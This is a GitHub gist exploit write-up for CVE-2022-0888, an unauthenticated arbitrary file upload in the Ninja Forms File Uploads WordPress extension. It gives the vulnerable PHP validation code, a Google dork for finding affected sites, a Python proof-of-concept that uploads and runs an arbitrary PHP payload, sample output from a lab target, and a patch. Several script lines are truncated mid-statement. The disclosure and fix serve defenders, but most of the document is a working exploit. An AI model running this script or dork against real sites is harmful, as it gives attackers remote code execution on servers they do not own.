Xib3rR4dAr / **WP_plugin_ninja-forms-uploads_Unauthenticated_Arbitrary_File_Upload.md** Secret

Last active 9 months ago

WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload

`WP_plugin_ninja-forms-uploads_Unauthenticated_Arbitrary_File_Upload.md`

WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload

Exploit Title	WordPress Plugin Ninja Forms - File Uploads Extension >= 3.3.0 - Unauthenticated Arbitrary File Upload
Exploit Author	Muhammad Zeeshan (Xib3rR4dAr)
Plugin Link	Ninja-File-Uploads, Ninja-Forms
Version	3.3.0
Tested on	Wordpress 5.9.1
Vulnerable Endpoint	/wp-admin/admin-ajax.php?action=nf_fu_upload
Vulnerable File	/wp-content/plugins/ninja-forms-uploads/includes/ajax/controllers/uploads.php
Google Dork	inurl:/wp-content/plugins/ninja-forms-uploads
CVE	CVE-2022-0888

Description

`ninja-forms-uploads` extension version >=3.3.0 of `ninja-forms` >=3.6.7 was found vulnerable to arbitrary file upload vulnerability. File extension check was present which can be bypassed if `form_id` parameter is removed from file upload request.

Vulnerable Plugin

`ninja-forms` ' extensoin `ninja-forms-uploads` version >=3.3.0

ninja-forms

ninja-forms-uploads

Vulnerable Code

If `form_id` parameter is not set, **_validate** method in `ninja-forms-uploads/includes/ajax/controllers/uploads.php` returns true which bypasses file extension being checked.

```
144     protected function _validate( $file ) {
145         // Check for upload errors
146         if ( $file['error'] && UPLOAD_ERR_OK !== $file['error'] ) {
147             $this->_errors[] = $this->code_to_message( $file['error'] );
148 
149             return false;
150         }
151 
152         $form_id = filter_input( type: INPUT_POST, var_name: 'form_id', filter: FILTER_VALIDATE_INT );
153         $field_id = filter_input( type: INPUT_POST, var_name: 'field_id', filter: FILTER_VALIDATE_INT );
154 
155         /* Render Instance Fix */
156         if(strpos($form_id, needle: '_')){
157             list($form_id) = explode( separator: '_', $form_id);
158         }
159         if(strpos($field_id, needle: '_')){
160             list($field_id) = explode( separator: '_', $field_id);
161         }
162         /* END Render Instance Fix */
163 
164         if ( ! isset( $form_id ) || ! isset( $field_id ) ) {
165             // Haven't got the data to grab field settings, bail
166             return true;
167         }
168 
```

PoC:

```
import requests, re, json, urllib.parse

wp_domain       =   input("\nEnter domain name:                          :   ")
wp_form_url     =   input("Enter URI of page with file upload form    :   ")
payload         =   input('Payload                                    :   ')

full_wp_form_url    = wp_domain + wp_form_url

proxies = {
    # Uncomment following line to use proxy
    # "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"
}

wp_session      =   requests.session()

headers         =   {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) Ap


wp              =   wp_session.get(full_wp_form_url, headers=headers, proxies=proxie
wp_nonce        =   re.search(r'uploadNonce":"(.*?)","uploadNonceExpiry', wp.text).g

ajax_url        =   wp_domain+"/wp-admin/admin-ajax.php?action=nf_fu_upload"

req_headers     =   {"Accept": "application/json, text/javascript, */*; q=0.01", "X-
exploit_body    =   f"------WebKitFormBoundary3K3AsbTze13seUkb\r\nContent-Dispositio
# Uncomment following two lines if nonce error occurs
#req_headers     =   {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1)
#exploit_body    =   f"------WebKitFormBoundaryDgckL57HDDGn99R7\r\nContent-Dispositi

print(f'\nSending exploit payload: {payload}')

e_resp          =   wp_session.post(ajax_url, headers=req_headers, data=exploit_body
data            =   e_resp.json()

payload_url = wp_domain + '/wp-content/uploads/ninja-forms/tmp/' + data['data']['fil

print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))

print(f'\nPayload contents uploaded at: {payload_url}')


payload_resp    =   wp_session.get(payload_url, headers=headers, proxies=proxies, ve

print(f'\nResponse: {payload_resp.text}')
```

```
λ python ninja-forms-uploads_rce_poc.py

Enter domain name:                          :   http://192.168.0.112
Enter URI of page with file upload form     :   /sample-page/
Payload                                     :   <?php echo 'Server time() is: ' . time() ; ?>

Sending exploit payload: <?php echo 'Server time() is: ' . time() ; ?>

Response:
{
    "data": {
        "files": [
            {
                "error": 0,
                "name": "pt.php",
                "size": 45,
                "tmp_name": "nftmp-YShEO-pt.php",
                "type": "application/x-httpd-php"
            }
        ]
    },
    "debug": [],
    "errors": []
}

Payload contents uploaded at: http://192.168.0.112/wp-content/uploads/ninja-forms/tmp/nftmp-YShEO-pt.php

Response: Server time() is: 1646674625
```

Fix

Update plugin to latest version OR in `ninja-forms-uploads/includes/ajax/controllers/uploads.php` search for method `handle_upload` and add following in it:

```
        if ( empty( $_POST['form_id'] ) ) {
            $this->_errors[] = __( 'No form ID supplied', 'ninja-forms-uploads' );
            $this->_respond();
        }
```